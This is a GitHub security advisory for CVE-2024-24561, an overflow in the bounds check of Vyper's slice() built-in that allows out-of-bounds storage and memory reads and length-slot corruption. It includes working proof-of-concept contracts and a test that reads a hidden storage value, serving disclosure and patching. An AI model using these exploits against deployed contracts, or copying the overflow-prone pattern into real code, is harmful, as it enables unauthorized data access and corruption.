Skip to content

Vyper's bounds check on built-in `slice()` function can be overflowed

Critical severity GitHub Reviewed Published Jan 31, 2024 in vyperlang/vyper • Updated Nov 22, 2024

Package

pip vyper (pip)

Affected versions

<= 0.3.10

Patched versions

0.4.0

Description

Summary

The bounds check for slices does not account for the ability for start + length to overflow when the values aren't literals.

If a slice() function uses a non-literal argument for the start or length variable, this creates the ability for an attacker to overflow the bounds check.

This issue can be used to do OOB access to storage, memory or calldata addresses. It can also be used to corrupt the length slot of the respective array.

A contract search was performed and no vulnerable contracts were found in production.

tracking in issue vyperlang/vyper#3756.
patched in vyperlang/vyper#3818.

Details

Here the flow for storage is supposed, but it is generalizable also for the other locations.

When calling slice() on a storage value, there are compile time bounds checks if the start and length values are literals, but of course this cannot happen if they are passed values:

if not is_adhoc_slice:
    if length_literal is not None:
        if length_literal < 1:
            raise ArgumentException("Length cannot be less than 1", length_expr)

        if length_literal > arg_type.length:
            raise ArgumentException(f"slice out of bounds for {arg_type}", length_expr)

    if start_literal is not None:
        if start_literal > arg_type.length:
            raise ArgumentException(f"slice out of bounds for {arg_type}", start_expr)
        if length_literal is not None and start_literal + length_literal > arg_type.length:
            raise ArgumentException(f"slice out of bounds for {arg_type}", node)

At runtime, we perform the following equivalent check, but the runtime check does not account for overflows:

["assert", ["le", ["add", start, length], src_len]],  # bounds check

The storage slice() function copies bytes directly from storage into memory and returns the memory value of the resulting slice. This means that, if a user is able to input the start or length value, they can force an overflow and access an unrelated storage slot.

In most cases, this will mean they have the ability to forcibly return 0 for the slice, even if this shouldn't be possible. In extreme cases, it will mean they can return another unrelated value from storage.

POC: OOB access

For simplicity, take the following Vyper contract, which takes an argument to determine where in a Bytes[64] bytestring should be sliced. It should only accept a value of zero, and should revert in all other cases.

# @version ^0.3.9

x: public(Bytes[64])
secret: uint256

@external
def __init__():
    self.x = empty(Bytes[64])
    self.secret = 42

@external
def slice_it(start: uint256) -> Bytes[64]:
    return slice(self.x, start, 64)

We can use the following manual storage to demonstrate the vulnerability:

{"x": {"type": "bytes32", "slot": 0}, "secret": {"type": "uint256", "slot": 3618502788666131106986593281521497120414687020801267626233049500247285301248}}

If we run the following test, passing max - 63 as the start value, we will overflow the bounds check, but access the storage slot at 1 + (2**256 - 63) / 32, which is what was set in the above storage layout:

function test__slice_error() public {
    c = SuperContract(deployer.deploy_with_custom_storage("src/loose/", "slice_error", "slice_error_storage"));
    bytes memory result = c.slice_it(115792089237316195423570985008687907853269984665640564039457584007913129639872); // max - 63
    console.logBytes(result);
}

The result is that we return the secret value from storage:

Logs:
0x0000...00002a

POC: length corruption

OOG exception doesn't have to be raised - because of the overflow, only a few bytes can be copied, but the length slot is set with the original input value.

d: public(Bytes[256])
	
@external
def test():
	x : uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935 # 2**256-1
	self.d = b"\x01\x02\x03\x04\x05\x06"
	# s : Bytes[256] = slice(self.d, 1, x)
	assert len(slice(self.d, 1, x))==115792089237316195423570985008687907853269984665640564039457584007913129639935

The corruption of length can be then used to read dirty memory:

@external
def test():
    x: uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935  # 2**256 - 1
    y: uint256 = 22704331223003175573249212746801550559464702875615796870481879217237868556850   # 0x3232323232323232323232323232323232323232323232323232323232323232
    z: uint96 = 1
    if True:
        placeholder : uint256[16] = [y, y, y, y, y, y, y, y, y, y, y, y, y, y, y, y]
    s :String[32] = slice(uint2str(z), 1, x)	# uint2str(z) == "1"
    #print(len(s))
    assert slice(s, 1, 2) == "22"

Impact

The built-in slice() method can be used for OOB accesses or the corruption of the length slot.

References

@charles-cooper charles-cooper published to vyperlang/vyper Jan 31, 2024
Published by the National Vulnerability Database Feb 1, 2024
Published to the GitHub Advisory Database Feb 1, 2024
Reviewed Feb 1, 2024
Last updated Nov 22, 2024

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

0.067%
(32nd percentile)

Weaknesses

CVE ID

CVE-2024-24561

GHSA ID

GHSA-9x7f-gwxq-6f2c

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.